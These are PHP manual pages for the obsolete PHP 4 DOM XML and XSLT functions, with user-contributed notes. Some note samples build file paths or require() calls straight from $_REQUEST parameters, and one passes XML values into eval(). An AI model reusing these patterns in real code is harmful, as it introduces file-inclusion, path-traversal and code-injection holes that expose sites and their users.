DomProcessingInstruction->data | 上一级 | DomXsltStylesheet->process()


DomXsltStylesheet->process()

(no version information, might be only in CVS)

DomXsltStylesheet->process() -- Applies the XSLT-Transformation on a DomDocument Object

说明

class DomXsltStylesheet {

DomDocument process ( DomDocument xml_doc [, array xslt_params [, bool is_xpath_param [, string profile_filename]]] )

}

Applies an XSLT Transformation on the given DomDocument object.

参数

xml_doc

The XML document being transformed, as a DomDocument object.

xslt_params

An associative array that takes pairs of parameter names and values.

is_xpath_param

If set to FALSE the values of the xslt_params will be quoted. This is the default behavior. It allows you to pass the values as PHP strings.

注: If your strings contains both single and double quotes, you must take care of quoting all the values by yourself and set this parameter to TRUE.

profile_filename

Set this to the path of a filename, if you want profiling information.

返回值

Returns the result of the processing, as a DomDocument object.

Migrating to PHP 5

Use XSLTProcessor->setParameter() and XSLTProcessor->transformToDoc().

更新日志

版本 | 说明
4.3.0 | The profile_filename parameter was added.

参见

domxml_xslt_stylesheet()
domxml_xslt_stylesheet_file()
domxml_xslt_stylesheet_doc()

add a note add a note User Contributed Notes
Thomas Broyer
23-Aug-2005 03:54
Within LibXML/LibXSLT, the values of the parameters passed in to the XSLT stylesheet for processing are treated as being XPath expressions to be applied to the source document. This allows you to pass parameters of type "node-set".

This is actually the same as if you modified your XSLT stylesheet to change the default value of the top-level xsl:param to <xsl:param name="param-name" select="param-value" />

As this behavior might be a bit misleading, the PHP/DOMXML binding defaults to "converting" every parameter value to a string, as if you modified your XSLT stylesheet to change the default value of the top-level xsl:param to <xsl:param name="param-name" select="'param-value'" /> (note the single-quotes around the value and enclosed in double-quotes).

If you want to turn back to the original LibXML/LibXSLT behavior, just pass TRUE as the "is_param_xpath" argument.
regis at nvision dot lu
11-Jun-2004 05:48
Needless to say that xslt_parameters is an associative array. So for instance:

<?php
$document = new DOMDocument('/path/to/xmldata');
// Unfortunately there's no such method for DomXsltStylesheet
$stylesheet = domxml_xslt_stylesheet_file('/path/to/stylesheet');
$params = array(
   'param1' => 'value1'
   ...
   , 'paramN' => 'valueN' );
$result = $stylesheet->process($document, $params);
?>

As far as the param_is_xpath argument is concerned, XPath W3REC doesn't mention any parameter at any time ! That must be a DOM feature, which I'm not keen with yet...

Bye
add a note add a note

后退 | 起点 | 前进
DomProcessingInstruction->target | 上一级 | DomXsltStylesheet->result_dump_file()


DomXsltStylesheet->result_dump_file()

(no version information, might be only in CVS)

DomXsltStylesheet->result_dump_file() -- Dumps the result from a XSLT-Transformation into a file

说明

class DomXsltStylesheet {

string result_dump_file ( DomDocument xmldoc, string filename )

}

Since DomXsltStylesheet->process() always returns a well-formed XML DomDocument, no matter what output method was declared in <xsl:output> and similar attributes/elements, it's of not much use, if you want to output HTML 4 or text data.

This function on the contrary honors <xsl:output method="html|text"> and other output control directives. See the example for instruction on how to use it.

范例

例子 1. Saving the result of a XSLT transformation in a file

<?php
$filename = "stylesheet.xsl";
$xmldoc = domxml_open_file("data.xml");
$xsldoc = domxml_xslt_stylesheet_file($filename);
$result =  $xsldoc->process($xmldoc);
echo $xsldoc->result_dump_file($result, "filename");
?>

参见

DomXsltStylesheet->result_dump_mem()
DomXsltStylesheet->process()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomXsltStylesheet->process() | 上一级 | DomXsltStylesheet->result_dump_mem()


DomXsltStylesheet->result_dump_mem()

(no version information, might be only in CVS)

DomXsltStylesheet->result_dump_mem() -- Dumps the result from a XSLT-Transformation back into a string

说明

class DomXsltStylesheet {

string result_dump_mem ( DomDocument xmldoc )

}

Since DomXsltStylesheet->process() always returns a well-formed XML DomDocument, no matter what output method was declared in <xsl:output> and similar attributes/elements, it's of not much use, if you want to output HTML 4 or text data.

This function on the contrary honors <xsl:output method="html|text"> and other output control directives. See the example for instruction on how to use it.

范例

例子 1. Outputting the result of a XSLT transformation

<?php
$filename = "stylesheet.xsl";
$xmldoc = domxml_open_file("data.xml");
$xsldoc = domxml_xslt_stylesheet_file($filename);
$result =  $xsldoc->process($xmldoc);
echo $xsldoc->result_dump_mem($result);
?>

参见

DomXsltStylesheet->result_dump_file()
DomXsltStylesheet->process()

add a note add a note User Contributed Notes
lsoethout at hotmail dot com
19-Feb-2006 06:43
The function result_dump_mem has a problem with the meta content type tag. It outputs it like this:

   <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

which is not correct X(HT)ML, because it closes with '>' instead of with '/>'.

A way to get the output correct is to use instead of result_dump_mem :

   $domHtmlText = $domTranObj->html_dump_mem();

or, as a second alternative:

   $domHtmlText = $domTranObj->dump_mem(true);
add a note add a note

后退 | 起点 | 前进
DomXsltStylesheet->result_dump_file() | 上一级 | domxml_new_doc


domxml_new_doc

(PHP 4 >= 4.2.1, PECL)

domxml_new_doc -- Creates new empty XML document

说明

DomDocument domxml_new_doc ( string version )

Creates a new Dom document from scratch and returns it.

参数

version

The XML version number of the document.

返回值

Returns a new DomDocument instance.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomXsltStylesheet->result_dump_mem() | 上一级 | domxml_open_file


domxml_open_file

(PHP 4 >= 4.2.1, PECL)

domxml_open_file -- Creates a DOM object from an XML file

说明

DomDocument domxml_open_file ( string filename [, int mode [, array &error]] )

The function parses the XML document in the given file.

参数

filename

The path to the XML file. The file is accessed in read-only mode.

mode

This optional parameter can be used to change the behavior of this function.

You can use one of the following constants for it: DOMXML_LOAD_PARSING (default), DOMXML_LOAD_VALIDATING or DOMXML_LOAD_RECOVERING. You can add to it also DOMXML_LOAD_DONT_KEEP_BLANKS, DOMXML_LOAD_SUBSTITUTE_ENTITIES and DOMXML_LOAD_COMPLETE_ATTRS by bitwise or.

error

If used, it will contain the error messages. error must be passed in by reference.

返回值

Returns a DomDocument instance of the given file.

范例

例子 1. Opening an XML document from a file

<?php

if (!$dom = domxml_open_file("example.xml")) {
  echo "Error while parsing the document\n";
  exit;
}

$root = $dom->document_element();
?>

更新日志

版本 | 说明
4.3.0 | The parameters mode and error were added.

参见

domxml_open_mem()
domxml_new_doc()

add a note add a note User Contributed Notes
A-Wing (info at a-wing dot co dot uk)
17-May-2006 02:23
A very useful undocumented feature if you are opening hundreds of xml docs (my script processes 20,000) is DomDocument->free.
This clears the allocated the memory used by the xml file which is not done automatically by just opening a new file on the same variable.

Example:

<?
$dir="/path/to/xml/files/";
if ($dh = opendir($dir)) {
   while (($file = readdir($dh)) !== false) {
       if(is_file($dir.$file))
       {
           echo $file . "\\n";
           $dom=domxml_open_file($dir.$file);

           #...
           #You xml processor here
           #...
           $dom->free();
       }
   }
   closedir($dh);
}

?>
connor
01-Feb-2006 09:52
But. if thr path is some hipelink like www.somth.com/data.xml
noyanoya at tin dot it
29-Dec-2005 01:47
another way to resolve path's problem is to use  realpath() function
for example:

<?php
$file=$_REQUEST['file'];
$xmlPath = realpath("../xml/");
$fileXML ="$file";
  if(!$dom = domxml_open_file($xmlPath."/".$fileXML)) {
   echo "error opening the file";
   exit;
}
?>

N.B. you have to put the final slash ( / ) beetween path and file name!
php at gungfu [dot] de
20-Mar-2005 12:13
For me, on Windows XP, the solution with  file_get_contents works, the one with domxml_open_file does not. It seems the latter caches the loaded file. Quite confusing.
contact at richardleggett dot co dot uk
15-Feb-2005 06:00
If you want to work on both Windows and Linux, I found appending the following to the front of your file path works:

$xmlPath = dirname(__FILE__) . "/";
$xmlDOM = domxml_open_file($xmlPath . "file.xml");

(rather than the "\\" in a previous post on this page which only works on Windows).

This should get around the I/O errors.
info at sgonda dot de
31-Oct-2003 05:02
You can load your own DTD's within your XML Doc like this:

<?php
$domxml = domxml_open_file('test.xml',DOMXML_LOAD_VALIDATING,$error);
?>

I hope this helps....

The DocumentType Definition (must/have) to be in the Doc root of your Server...
kevin at ieqdev dot com
16-Jun-2003 07:30
If you're working on a windows machine and don't want to use full paths , just use...

$showfile = file_get_contents($path . "/" . $fileName);

if(!$domDoc = domxml_open_mem($showfile)) {
   echo "Couldn't load xml...";
   exit;
}

Because file_get_contents() can use relative paths on Win, it keeps your code more portable...

twist
et at wkv dot at
25-Feb-2003 12:49
domxml documentation is a moving target, for 4.2.3 a working example is:

<?
$xmlpath = dirname(__FILE__) . "\\";
$xmldoc = domxml_open_file( $xmlpath . "test.xml");
$xsldoc = domxml_xslt_stylesheet_file ( $xmlpath . "test.xsl");
$result = $xsldoc->process($xmldoc);
print $result->dump_mem();
?>

RTFS is a working method in this case (lucky guesses work also from time tor time) :-)
andrew at boxuk dot com
07-Feb-2003 09:32
Using PHP 4.2.3 and Win2K.

The XML file needs to be referenced using the full filesystem path name, even if its in the same directory.
rudolfnospam at redshift dot co dot no dot spam dot za
29-Apr-2002 09:12
Using PHP 4.1.2, Win2K, IIS.
I found that if the path to the XML source file is too long then the file isn't picked up. I haven't tested it to see how long the path can be or whether this is still an issue in PHP 4.2
add a note add a note

后退 | 起点 | 前进
domxml_new_doc | 上一级 | domxml_open_mem


domxml_open_mem

(PHP 4 >= 4.2.1, PECL)

domxml_open_mem -- Creates a DOM object of an XML document

说明

DomDocument domxml_open_mem ( string str [, int mode [, array &error]] )

The function parses the XML document in the given string.

参数

str

The contents of the XML file.

mode

This optional parameter can be used to change the behavior of this function.

You can use one of the following constants for it: DOMXML_LOAD_PARSING (default), DOMXML_LOAD_VALIDATING or DOMXML_LOAD_RECOVERING. You can add to it also DOMXML_LOAD_DONT_KEEP_BLANKS, DOMXML_LOAD_SUBSTITUTE_ENTITIES and DOMXML_LOAD_COMPLETE_ATTRS by bitwise or.

error

If used, it will contain the error messages. error must be passed in by reference.

返回值

Returns a DomDocument instance of the given XML contents.

范例

例子 1. Opening an XML document in a string

<?php
include("example.inc");

if (!$dom = domxml_open_mem($xmlstr)) {
  echo "Error while parsing the document\n";
  exit;
}

$root = $dom->document_element();
?>

参见

domxml_open_file()
domxml_new_doc()

add a note add a note User Contributed Notes
ardent at ahmeni dot org
07-Feb-2006 04:31
Although undocumented, domxml_open_mem does not exist in PHP5.  See this site for a quick fix:
http://alexandre.alapetite.net/doc-alex/domxml-php4-php5/index.en.html
msh at onliners dot dk
01-Mar-2005 01:51
It's always nice to see just where in the XML the error is so I've enhanced the error message example above to this:

// Read and parse dynamic PHP/XML document.
ob_start();
require($_REQUEST['page'].'.php');
$xml = ob_get_contents();
ob_end_clean();
$xmldoc = domxml_open_mem("<?xml version='1.0'  encoding='ISO-8859-1'?>".$xml, DOMXML_LOAD_PARSING, $error);
// Show error.
if(!$xmldoc) {
   // Assign each line to array.
   $arXML = explode("\n", $xml);

   echo "<pre>";

   foreach ($error as $errorline) {
       echo $errorline['errormessage'].
       "Node: ".$errorline['nodename']."\n".
       "Line: ".$errorline['line']."\n".
       "Column: ".$errorline['col']."\n";

       // Locate actual line number.
       $arErrorMessage = explode(' line ', $errorline['errormessage']);
       $arErrorMessage = explode(' ', $arErrorMessage[1]);
       $errorLineNumber = $arErrorMessage[0];

       // Show +/- 10 lines around error.
       $minErrorLineNumber = max(0, $errorLineNumber-10);
       $maxErrorLineNumber = min(sizeof($arXML), $errorLineNumber+10);
       echo "XML snip (linies: ".$minErrorLineNumber." to ".$maxErrorLineNumber."):\n";
       for($n = $minErrorLineNumber; $n < $maxErrorLineNumber; $n++)
           if($n == $errorLineNumber)
               echo "<B>".htmlentities($arXML[$n])."</B>\n";
           else
               echo htmlentities($arXML[$n])."\n";
       echo "\n\n";
   }

   echo "</pre>";
}

This will actually render +/- 10 lines around the actual error. Hope others will find this usefull aswell.
Lian Yuen Chi <yuenqi at hotmail dot com>
08-Oct-2004 10:40
Regarding the 'magic_quotes_runtime = On' issue in XML parsing, I will suggest using the method below, for those who do not want to turn off the setting in the configuration file.

<?php

$original-magic-quotes-runtime-value = get_magic_quotes_runtime();

set_magic_quotes_runtime(0);

your-xml-parsing-codes();

set_magic_quotes_runtime($original-magic-quotes-runtime-value);

?>
heiko[dot]weber[at]softwareag[dot]com
20-Aug-2004 05:28
Careful, this function will not work with XML documents which are in UTF-16 or UTF-32 encoding and include a BOM at the beginning, so your code will need a special handling for these encodings.
Carl Wurtz
14-Jul-2004 04:01
A recursive function that parses XML into objects:

<?php

   $xmlstg = '<?xml version="1.0"?';
   $xmlstg .= '><candy><anatomically_shaped><head_to_bite_off>chocolate bunnies</head_to_bite_off><headless>gummi worms</headless></anatomically_shaped></candy>';

   $dom = domxml_open_mem($xmlstg);
   $root = $dom->document_element();
   $root->name = '$candy';
   function parse_node($node) {
       global $candy;
       if ($node->has_child_nodes()) {
           foreach($node->child_nodes() as $n) {
               if ($n->node_name() == '#text') {
                   eval("$node->name=\"" . $n->node_value() . "\";");
               }
               else {
                   $n->name = $node->name . '->' . $n->node_name();
                   parse_node($n);
               }
           }
       }
   }

   parse_node($root);
   echo $candy->anatomically_shaped->head_to_bite_off;
// echos "chocolate bunnies"

?>
voituk [on] asg [dot] kiev [dot] ua
07-Jul-2004 08:48
There is some interesting feature with "magic_quotes_runtime" ini directive and "domxml_open_mem" function.
If we have "magic_quotes_runtime=on" in out php.ini file, this code generates many warning

$xml_str = file_get_contents($xml_file));
$Document = domxml_open_mem($xml_str));

if "magic_quotes_runtime=off" all is good.
ej at campbell *dot* name
01-Dec-2003 11:54
The DOM XML parser does not automatically free memory when a DomDocument goes out of scope.

If you're using the DOM parser to parse several XML files as part of a long running script, you must free the DomDocument manually or a memory leak will occur.

To free a DOM document allocated by domxml_open_mem, do the following:

$doc = domxml_open_mem("$contents");

$doc->free();
chris at schaake dot nu
02-Nov-2003 02:20
Finally figured out the error handling. The sample below will give a nice error message. Should also work for domxml_open_file.

<?
# Small sample xml file with 2 errors
#    1. root tag not closed
#    2. Missing ; in &amp;
$xml = "<root>&amp";

$xmldoc = @domxml_open_mem($xml,DOMXML_LOAD_PARSING,$error);

echo "<pre>";    # Just for nice layout
foreach ($error as $errorline) {    # Loop through all errors
   echo $errorline['errormessage'];
   echo " Node  : " . $errorline['nodename'] . "\n";
   echo " Line  : " . $errorline['line'] . "\n";
   echo " Column : " . $errorline['col'] . "\n\n";
}

?>
jon at hiveminds dot net
17-Oct-2003 01:10
You can also create a new DomDocument instance by calling its constructor:

<?php
  $doc = new DomDocument($xml);
?>

where $xml is any string of well-formed XML.
add a note add a note

后退 | 起点 | 前进
domxml_open_file | 上一级 | domxml_version


domxml_version

(PHP 4 >= 4.1.0, PECL)

domxml_version -- Gets the XML library version

说明

string domxml_version ( void )

Gets the version of the XML library currently used.

返回值

The version of the XML library, as a string.

范例

例子 1. domxml_version() Example

<?php

echo domxml_version();

?>

上例的输出类似于：

20607

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
domxml_open_mem | 上一级 | domxml_xmltree


domxml_xmltree

(PHP 4 >= 4.2.1, PECL)

domxml_xmltree -- Creates a tree of PHP objects from an XML document

说明

DomDocument domxml_xmltree ( string str )

The function parses the XML document in str and returns a tree PHP objects as the parsed document.

This function is isolated from the other functions, which means you cannot access the tree with any of the other functions. Modifying it, for example by adding nodes, makes no sense since there is currently no way to dump it as an XML file.

However this function may be valuable if you want to read a file and investigate the content.

参数

str

The contents of the XML file.

返回值

Returns a tree of Dom objects starting by a DomDocument.

add a note add a note User Contributed Notes
jeroen dot s at zonnet dot nl
16-May-2006 04:36
You can modify the returned DomDocument, and dump it as an XML file
by using DomDocument->dump_mem() or DomDocument->dump_file().
23-Feb-2005 10:38
Replacing line 10 works well, but replacing line 15 causes some errors. I have a tree like:

<admin>

<user level="0">
<username>admin</username>
<password>admin_pass</password>
</user>
<user level="1">
<username>moder</username>
<password>moder_pass</password>
</user>

</admin>

when I remove those brackets only the last <user> is included into array. In this example it would be
<user level="1">
<username>moder</username>
<password>juozux</password>
</user>

no user name admin, etc.

p.s. I don't store passwords in plain text in xml, that was just an example :))
Alan71
08-Feb-2004 02:05
In the function of nutbar, try to  replace line 10 by
$objptr = $branch->node_value();
and line 15 by :
$objptr = &$object[$branch->node_name()]; //without the '[]'

it makes an array much more easier to read.
Previously, it produces an array like $MyArray[ROOT][0][BRANCH1][0][BRANCH2][0][5], and now $MyArray[ROOT][BRANCH1][BRANCH2][5]. There isn't bugs in the example I use, and I haven't tested with arguments. I think that an implementation of a part of nospam's code is enough.

I hope this will help!
samc a t rampantlabs dot net
27-Dec-2002 04:36
Forgive me if I am mistaken, but the whole point of including the "useless white space" is because of the existence of mixed types, for example:

the schema def:

<xsd:element name="paragraph">
       <xsd:complexType mixed="true">
               <xsd:choice>
                       <xsd:element ref="link" />
                       <xsd:element ref="emphasisText" />
               </xsd:choice>
       </xsd:complexType>
</xsd:element>

and an example:

<paragraph>This here is a paragraph.  You'll notice that it has within it a bunch of text punctuated by other <emphasisText>tags</emphasisText> and it is <link target="me.html>my</url> understanding that the only way to read this text is by reading the tagless nodes that your functions strip.</paragraph>

I could be way off though...
colin at omenmedia dot com
13-Dec-2002 11:03
This is a genuinely useful function, however, as with any DOM-based markup parser, be mindful of the size of the XML document you are parsing.  Representing very large XML files as object structures requires *a lot* of memory and processing, and may even crash your server (which is what happened to my Apache when I tried parsing a 2MB XML file using this function, just for fun... ;).
nospam at candlefire dot org
15-Oct-2002 11:03
Consider the following revisions for including attributes into the array.

function domxml_xmlarray ($branch)
{
   $object = Array ();
   $objptr =& $object;
   $branch = $branch->first_child ();

   while ($branch)
   {
       if (!($branch->is_blank_node()))
       {
           switch ($branch->node_type())
           {
               case XML_TEXT_NODE:
               {
                   $objptr['cdata'] = $branch->node_value ();
                   break;
               }
               case XML_ELEMENT_NODE:
               {
                   $objptr =& $object[$branch->node_name ()][];
                   if ($branch->has_attributes ())
                   {
                       $attributes = $branch->attributes ();
                       if (!is_array ($attributes)) { break; }
                       foreach ($attributes as $index => $domobj)
                       {
                           $objptr[$index] = $objptr[$domobj->name] = $domobj->value;
                       }
                   }
                   break;
               }
           }
           if ($branch->has_child_nodes ()) { $objptr = array_merge ($objptr, domxml_xmlarray ($branch)); }
       }
       $branch = $branch->next_sibling ();
   }

   return $object;
}
nutbar at innocent dot com
13-Oct-2002 03:18
Same concept as previous function, except uses node names as key items in the arrays.  This function may prove a bit more useful than the previous one:

   function domxml_xmlarray($branch) {
       $object = array();
       $objptr = &$object;
       $branch = $branch->first_child();

       while ($branch) {
           if (!($branch->is_blank_node())) {
               switch ($branch->node_type()) {
                   case XML_TEXT_NODE: {
                       $objptr['cdata'] = $branch->node_value();

                       break;
                   }
                   case XML_ELEMENT_NODE: {
                       $objptr = &$object[$branch->node_name()][];

                       break;
                   }
               }

               if ($branch->has_child_nodes()) {
                   $objptr = array_merge($objptr, domxml_xmlarray($branch));
               }
           }

           $branch = $branch->next_sibling();
       }

       return $object;
   }

Usage is identical to the previous function.
add a note add a note

后退 | 起点 | 前进
domxml_version | 上一级 | domxml_xslt_stylesheet_doc


domxml_xslt_stylesheet_doc

(PHP 4 >= 4.2.0, PECL)

domxml_xslt_stylesheet_doc -- Creates a DomXsltStylesheet Object from a DomDocument Object

说明

DomXsltStylesheet domxml_xslt_stylesheet_doc ( DomDocument xsl_doc )

Creates a DomXsltStylesheet object from the given XSL document.

参数

xsl_doc

The XSL document, as a DomDocument object.

返回值

Returns a new instance of DomXsltStylesheet.

Migrating to PHP 5

Call XSLTProcessor->importStylesheet() with the xsl_doc parameter.

参见

DomXsltStylesheet->process()
domxml_xslt_stylesheet()
domxml_xslt_stylesheet_file()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
domxml_xmltree | 上一级 | domxml_xslt_stylesheet_file


domxml_xslt_stylesheet_file

(PHP 4 >= 4.2.0, PECL)

domxml_xslt_stylesheet_file -- Creates a DomXsltStylesheet Object from an XSL document in a file

说明

DomXsltStylesheet domxml_xslt_stylesheet_file ( string xsl_file )

Creates a DomXsltStylesheet object from the given XSL file.

参数

xsl_file

The path to the XSL document, as a string.

返回值

Returns a new instance of DomXsltStylesheet.

Migrating to PHP 5

Call XSLTProcessor->importStylesheet() with DOMDocument::load($xsl_file) as parameter.

参见

DomXsltStylesheet->process()
domxml_xslt_stylesheet()
domxml_xslt_stylesheet_doc()

add a note add a note User Contributed Notes
info at sgonda dot de
30-Oct-2003 03:38
Here's is a example for use:

<?php

$xmldoc = domxml_open_file("dom.xml");
$xsldoc  = domxml_xslt_stylesheet_file ("dom.xsl");
$result  = $xsldoc->process($xmldoc);
 print $result->dump_mem();

?>
add a note add a note

后退 | 起点 | 前进
domxml_xslt_stylesheet_doc | 上一级 | domxml_xslt_stylesheet


domxml_xslt_stylesheet

(PHP 4 >= 4.2.0, PECL)

domxml_xslt_stylesheet -- Creates a DomXsltStylesheet object from an XSL document in a string

说明

DomXsltStylesheet domxml_xslt_stylesheet ( string xsl_buf )

Creates a DomXsltStylesheet object from the given XSL buffer.

参数

xsl_buf

The XSL document, as a string.

返回值

Returns a new instance of DomXsltStylesheet.

Migrating to PHP 5

Call XSLTProcessor->importStylesheet() with DOMDocument::loadXML($xsl_buf) as parameter.

参见

DomXsltStylesheet->process()
domxml_xslt_stylesheet_file()
domxml_xslt_stylesheet_doc()

add a note add a note User Contributed Notes
mdn at heokieng dot com
16-Feb-2003 07:04
This is an exemple to change from XML to HTML by XSL utilising XML_DOM

File XML : Reunions.xml
<?xml version="1.0"?>
<reunions prev_id_reunion="2">
   <reunion id_reunion="0">
       <organisateur>Organisateur 1</organisateur>
       <date>Date 1</date>
       <heure>Heure 1</heure>
       <lieu>Lieu 1</lieu>
       <sujets>
           <sujet>Sujet 11</sujet>
           <sujet>Sujet 12</sujet>
       </sujets>
       <participants>
           <participant>Participant11</participant>
           <participant>Participant12</participant>
       </participants>
   </reunion>
   <reunion id_reunion="1">
       <organisateur>Organisateur 2</organisateur>
       <date>Date 2</date>
       <heure>Heure 2</heure>
       <lieu>Lieu 2</lieu>
       <sujets>
           <sujet>Sujet21</sujet>
           <sujet>Sujet22</sujet>
       </sujets>
       <participants>
           <participant>Participant21</participant>
           <participant>Participant22</participant>
       </participants>
   </reunion>
</reunions>

File PHP : Reunions.PhP
<?php
$StrXsl =    '<?xml version="1.0" encoding="ISO-8859-1"?>'.
           '<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:fo="http://www.w3.org/1999/XSL/Format">'.
           '<xsl:template match="/">'.
           '<html>'.
               '<head>'.
                   '<title></title>'.
               '</head>'.

               '<body bgcolor="white" text="black" link="blue" vlink="purple" alink="red">'.
               '<div align="center">'.
                   '<font face="Verdana" color="#4682b4" size="+2">La liste des reunions</font>'.
                   '<table border="0" cellpadding="0" cellspacing="0" width="300" bgcolor="#f5fffa">'.
                       '<tr>'.
                           '<th>'.
                               '<div align="center">'.
                                   '<font face="Verdana" color="#4682b4" size="-1">Organisateur</font>'.
                               '</div>'.
                               '</th>'.

                               '<th>'.
                               '<div align="center">'.
                                   '<font face="Verdana" color="#4682b4" size="-1">Date</font>'.
                               '</div>'.
                               '</th>'.

                               '<th>'.
                               '<div align="center">'.
                                   '<font face="Verdana" color="#4682b4" size="-1">Heure</font>'.
                               '</div>'.
                               '</th>'.

                               '<th>'.
                               '<div align="center">'.
                                   '<font face="Verdana" color="#4682b4" size="-1">Lieu</font>'.
                               '</div>'.
                               '</th>'.
                       '</tr>'.
                       '<xsl:apply-templates select="reunions/reunion">'.
                               '<xsl:sort select="organisateur" order="ascending"/>'.
                         '</xsl:apply-templates>'.
                   '</table>'.
               '</div>'.
               '</body>'.

           '</html>'.
           '</xsl:template>'.
           '<xsl:template match="reunion">'.
               '<tr>'.
                       '<td bgcolor="white">'.
                       '<font face="Verdana" color="#4682b4" size="-1"><xsl:value-of select="organisateur"/></font>'.
                       '</td>'.
                       '<td bgcolor="white">'.
                       '<font face="Verdana" color="#4682b4" size="-1"><xsl:value-of select="date"/></font>'.
                       '</td>'.
                       '<td bgcolor="white">'.
                       '<font face="Verdana" color="#4682b4" size="-1"><xsl:value-of select="heure"/></font>'.
                       '</td>'.
                       '<td bgcolor="white">'.
                       '<font face="Verdana" color="#4682b4" size="-1"><xsl:value-of select="lieu"/></font>'.
                       '</td>'.
                 '</tr>'.
           '</xsl:template>'.
           '</xsl:stylesheet>';

//Transformer XML -> HTML par XSL
$CurrentDir = dirname(__FILE__);
$xmldoc = domxml_open_file("$CurrentDir\\Reunions.xml");
$xsldoc = domxml_xslt_stylesheet ($StrXsl);
$result =  $xsldoc->process($xmldoc);
print $xsldoc->result_dump_mem($result);
?>
add a note add a note

后退 | 起点 | 前进
domxml_xslt_stylesheet_file | 上一级 | domxml_xslt_version


domxml_xslt_version

(PHP 4 >= 4.2.0, PECL)

domxml_xslt_version -- Gets the XSLT library version

说明

int domxml_xslt_version ( void )

Gets the XSLT library version.

返回值

Returns the version number of the XSLT library, as an integer.

范例

例子 1. domxml_xslt_version() Example

<?php

echo domxml_xslt_version();

?>

上例的输出类似于：

10112

参见

domxml_version()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
domxml_xslt_stylesheet | 上一级 | xpath_eval_expression


xpath_eval_expression

(PHP 4 >= 4.0.4, PECL)

xpath_eval_expression -- Evaluates the XPath Location Path in the given string

说明

class XPathContext {

XPathObject xpath_eval_expression ( string expression [, domnode contextnode] )

}XPathObject xpath_eval_expression ( XPathContext xpath_context, string expression [, domnode contextnode] )

例子 1. xpath_eval_expression() Example

<?php

include("example.inc");

if (!$dom = domxml_open_mem($xmlstr)) {
    echo "Error while parsing the document\n";
    exit;
}

$xpath = xpath_new_context($dom);
var_dump(xpath_eval_expression($xpath, '/chapter/@language'));

?>

上例将输出：

object(XPathObject)(2) {
   ["type"]=>
   int(1)
   ["nodeset"]=>
   array(1) {
     [0]=>
     object(domattribute)(5) {
       ["type"]=>
       int(2)
       ["name"]=>
       string(8) "language"
       ["value"]=>
       string(2) "en"
       [0]=>
       int(7)
       [1]=>
       int(138004256)
     }
  }
}

See also xpath_eval().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
domxml_xslt_version | 上一级 | xpath_eval


xpath_eval

(PHP 4 >= 4.0.4, PECL)

xpath_eval -- Evaluates the XPath Location Path in the given string

说明

class XPathContext {

XPathObject xpath_eval ( string xpath_expression [, domnode contextnode] )

}XPathObject xpath_eval ( XPathContext xpath_context, string xpath_expression [, domnode contextnode] )

The optional contextnode can be specified for doing relative XPath queries.

See also xpath_new_context().

add a note add a note User Contributed Notes
marius kreis (email to mariuskreis . de)
08-Jul-2005 10:26
If the namespace is subject to change you can write even more portable code if you extend brandon dot whitehead at orst dot edu's solution like this:

$doc = domxml_open_mem($xml);

$xpath = $doc->xpath_new_context();
$namespace = $xpath->xpath_eval('namespace-uri(//*)')->value; // returns the namespace uri

xpath_register_ns($xpath, "pre", $namespace); // sets the prefix "pre" for the namespace
$obj = $xpath->xpath_eval('//pre:Offer'); // finds all Offer tags

$nodeset = $obj->nodeset;

print_r($nodeset);

This code will determine the namespace of the root element and set a prefix for XPath queries. Thus it doesn't matter if the namespace is changing in your XML (like some webservices do...)
patrikG at home dot net
17-Mar-2004 12:42
Just an example of how to grab XML attributes with xpath - which took me a while to figure out. I'm filtering the returned object function node_content() which is a somewhat quick'n dirty solution, but I don't always need XML's child-parent relationships.

<?php
$xml='<MY_SERVICE>
   <MERCHANDISE>
       <SERVICE TYPE="books">
           <NAME>Ulysses</NAME>
       </SERVICE>
       <SERVICE TYPE="books">
           <NAME>The Poisonwood Bible</NAME>
       </SERVICE>
       <SERVICE TYPE="cars">
           <NAME>Van</NAME>
       </SERVICE>
       <SERVICE TYPE="vehicle sans wheels">
           <NAME>UFO</NAME>
       </SERVICE>
   </MERCHANDISE>
</MY_SERVICE>';

echo "<h4>XML</h4><xmp>";print_r(parse_XML($xml));echo"</xmp>";

function node_content($node,$attribute="content"){
   foreach($node->nodeset as $content){
       $return[]    =    $content->{$attribute};
   }
   return $return;
}

function parse_XML($xml){
   //needs PHP's xPath extension installed
   $dom    =domxml_open_mem($xml);
   $calcX = &$dom->xpath_new_context();
$xml_parsed["merchandise"]=node_content(
       $calcX->xpath_eval("//MERCHANDISE/SERVICE/NAME/text()")
       );
$xml_parsed["service"]=node_content(
       $calcX->xpath_eval("//MERCHANDISE/SERVICE/attribute::TYPE",$calcX)
       ,"value");
   return $xml_parsed;
}
?>

The code above returns:

XML
Array
(
   [merchandise] => Array
       (
           [0] => Ulysses

           [1] => The Poisonwood Bible
           [2] => Van
           [3] => UFO
       )

   [service] => Array
       (
           [0] => books
           [1] => books
           [2] => cars
           [3] => vehicle sans wheels
       )

)
brandon dot whitehead at orst dot edu
07-Sep-2003 04:52
In order to use the default namespace you must understand
how namespace prefixes work.  Prefixes are simply convenient mappies to the namespace URI.

For example, if you set the namespace:

xmlns:xm="http://www.someurl.org"

and you have the following document fragment:

<rootnode><xm:childnode>Text</xm:childnode></rootnode>

this is essentially equivalent to:

<rootnode>
   <http://www.someurl.org:childnode>
     Text
   </http://www.someurl.org:childnode>
</rootnode>

because the namespace URI is what matters, not the namespace prefix.

Unfortuantly, if you have a default namespace:

xmlns="http://www.anotherurl.org"

then all elements without a prefix belong to that namespace, and yet, it appears that PHP, and the underlying LIBXML2 don't let you register a default namespace with

"xpath_register_ns(context, prefix, uri)"

i.e. by leaving the prefix = "".  Therefore, to get around the problem, simply give the default prefix a simple name, such as "pre".

For example, if you have a default namespace declaration such as the following document:

<?xml version="1.0" encoding="UTF-8"?>
<rootname xmlns="http://www.some.org" xml:lang="en-US">
   <childnode>Some text</childnode>
</rootname>

And you want to evaluate the xpath expression:

"/rootname/childnode"

then you need to register the default namespace in PHP like this:

xpath_register_ns(context, "pre", "http://www.some.org");

and then use the following xpath expression:

"/pre:rootname/pre:childnode"

